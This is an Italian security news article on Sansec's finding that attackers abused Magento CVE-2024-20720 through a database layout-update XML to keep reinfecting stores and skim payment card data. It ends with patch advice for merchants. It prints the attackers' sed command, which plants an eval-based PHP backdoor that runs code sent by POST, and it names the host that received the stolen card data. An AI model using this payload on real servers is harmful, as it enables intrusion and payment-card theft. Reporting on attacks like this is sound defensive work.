Il Forensics Team di Sansec ha pubblicato una ricerca rivelando un nuovo metodo di persistenza di malware sui server Magento.
Il file XML
Sarebbe stato scoperto un file XML come template layout nel database di server Magento che inietta automaticamente malware. L’XML incriminato sarebbe stato trovato nella tabella “layout_update” del db e utilizzato per reinfezioni periodiche del sistema.
La Backdoor
“Gli attaccanti hanno combinato il parser di layout di Magento con il pacchetto `beberlei/assert` (installato di default) per eseguire comandi di sistema. Questo blocco di layout, legato al carrello della spesa, esegue un comando ogni volta che viene richiesta la pagina ‘<store>/checkout/cart’“, si legge nel rapporto.
In questo caso specifico, il comando ‘sed’ aggiunge una backdoor al controller CMS, che permette l’esecuzione di codice remoto tramite richieste POST.
sed -i "s/___init();/___init();\\n if ( isset ( $_POST [ \"7faa27b473\" ]) ) {\\n $catalogQuery =\"bas\" . \"e64_de\". \"code\" ;\\n @ eval ( $catalogQuery ( strrev ( $_POST [\"7faa27b473\"] ) ));\\n exit ( 0 ) ;\\n }/g" \ ../generated/code/Magento/Cms/Controller/Index/Index/Interceptor.php
L’attaccante ha utilizzato questo meccanismo per iniettare uno skimmer digitale e trasferire poi i dati di pagamento su di un altro sito Magento compromesso (“https://halfpriceboxesusa .com/pub/health_check.php”).
Consigli per gli esercenti e-commerce
È la prima volta che si osserva un abuso effettivo del CVE-2024-20720, scoperto a febbraio di quest’anno anno dal ricercatore di sicurezza blaklis e corretto da Adobe nel Patch Tuesday dello steso mese. Per tutte queste ragioni gli esperti esortano gli amministratori di siti e-commerce basati su Magento ad aggiornare i propri sistemi alle versioni 2.4.6-p4, 2.4.5-p6 o 2.4.4-p7 se non già fatto. Sansec ha anche fornito gli indirizzi IP degli attaccanti.